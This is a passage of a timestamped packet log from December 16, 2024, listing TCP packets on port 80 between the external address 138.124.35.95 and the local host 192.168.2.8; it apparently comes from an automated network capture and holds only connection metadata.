Dec 16, 2024 17:02:29.673868895 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.673881054 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.673882008 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.673890114 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.673901081 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.673909903 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.673917055 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.673919916 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.673932076 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.673942089 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.673943996 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.673954010 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.673964024 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.673973083 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.673976898 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.673983097 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.673993111 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.674000978 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.674002886 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.674009085 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.674017906 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.674026966 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.674036980 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.674040079 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.674046993 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.674062967 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.674066067 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.674072981 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.674083948 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.674078941 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.674093008 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.674103022 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.674113035 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.674117088 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.674128056 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.674138069 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.674144030 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.674149036 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.674158096 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.674168110 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.674177885 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.674179077 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.674187899 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.674197912 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.674206972 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.674212933 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.674216986 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.674226999 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.674232960 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.674237013 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.674247026 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.674251080 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.674257040 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.674267054 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.674268961 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.674277067 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.674287081 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.674295902 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.674304008 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.674308062 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.674319029 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.674329042 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.674329042 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.674339056 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.674349070 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.674365044 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.674386978 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.745748043 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.769855976 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.769891024 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.770009041 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.770030975 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.770275116 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.770332098 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.770447969 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.770458937 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.770508051 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.770926952 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.771028996 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.771040916 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.771070957 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.771682978 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.771794081 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.771805048 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.771831989 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.771862030 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.772448063 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.772557974 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.772604942 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.827649117 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.827728987 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.827744007 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.827817917 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.828046083 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.828222036 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.828233957 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.828269005 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.828283072 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.828948021 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.829102993 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.829114914 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.829144955 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.830214977 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.830344915 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.830383062 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.830519915 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.830929995 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.830941916 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.831080914 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.831090927 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.831114054 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.831623077 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.831691980 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.831702948 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.831727982 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.831753016 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.832206011 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.832293034 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.832329035 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.832406044 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.832811117 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.832847118 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.832942009 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.832952976 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.832983017 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.833364964 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.833509922 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.833522081 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.833542109 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.833895922 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.834006071 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.834019899 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.834038973 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.834064960 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.834892035 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.835016012 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.835026026 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.835058928 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.835628986 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.835720062 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.835761070 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.835906982 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.835942030 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.836298943 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.836380959 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.836426973 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.836611986 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.837120056 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.837244034 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.837255955 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.837281942 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.837311983 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.837742090 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.837846994 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.837857962 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.837889910 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.838392019 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.838442087 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.838542938 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.838553905 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.838606119 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.839165926 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.839303017 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.839320898 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.839332104 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.839904070 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.840040922 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.840045929 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.840053082 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.840084076 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.840744972 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.840857983 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.840868950 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.840902090 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.841438055 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.841656923 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.841669083 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.841696024 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.841722965 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.842243910 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.842360020 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.842370987 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.842398882 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.842968941 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.843127966 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.843137980 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.843159914 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.843189001 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.843822002 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.843893051 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.843903065 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.843938112 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.844515085 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.844671965 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.844681978 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.844702005 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.844718933 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.845308065 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.845551014 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.845585108 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.845678091 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.845689058 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.845719099 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.846338034 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.846548080 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.846559048 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.846594095 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.847203016 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.847326040 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.847336054 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.847369909 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.848007917 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.848149061 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.848160028 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.848185062 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.848814011 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.848928928 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.848939896 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.848963022 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.848987103 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.849509954 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.849637032 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.849647999 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.849672079 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.850182056 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.850280046 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.850316048 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.931772947 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.962110043 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.962126017 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.962198973 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.962238073 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.962342024 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.962387085 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.962584972 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.962595940 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.962639093 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.963021040 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.963131905 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.963176966 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.963341951 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.963804007 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.963843107 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.963996887 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.964009047 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.964051962 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:29.964612007 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.964740038 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:29.964780092 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.020071983 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.020158052 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.020169020 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.020299911 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.020401001 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.020447016 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.020625114 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.020634890 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.020678043 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.021054029 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.021328926 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.021382093 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.021538019 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.021648884 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.021661043 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.021704912 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.022428989 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.022548914 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.022584915 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.022595882 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.022639036 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.023355961 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.023557901 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.023569107 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.023619890 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.023986101 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.024036884 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.024070024 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.024080992 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.024121046 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.024578094 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.024732113 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.024744034 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.024785042 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.025281906 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.025335073 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.025358915 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.025502920 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.025552034 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.026034117 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.026216030 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.026364088 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.026407003 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.026842117 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.026887894 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.026922941 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.027069092 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.027113914 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.027508974 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.027703047 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.027713060 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.027736902 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.028501034 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.028542995 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.028795004 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.029078007 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.029134989 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.030139923 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.030379057 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.030452013 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.030488014 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.030498028 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.030548096 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.030824900 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.030834913 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.030884981 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.031594992 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.031605959 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.031615973 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.031661034 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.031718016 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.031816006 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.031831026 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.031862974 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.031893969 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.032216072 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.032289982 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.032300949 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.032341957 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.032975912 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.033153057 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.033193111 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.033202887 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.033241034 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.033771992 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.033895016 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.033906937 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.033932924 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.034542084 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:30.034584999 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:30.034674883 CET	80	49714	138.124.35.95	192.168.2.8
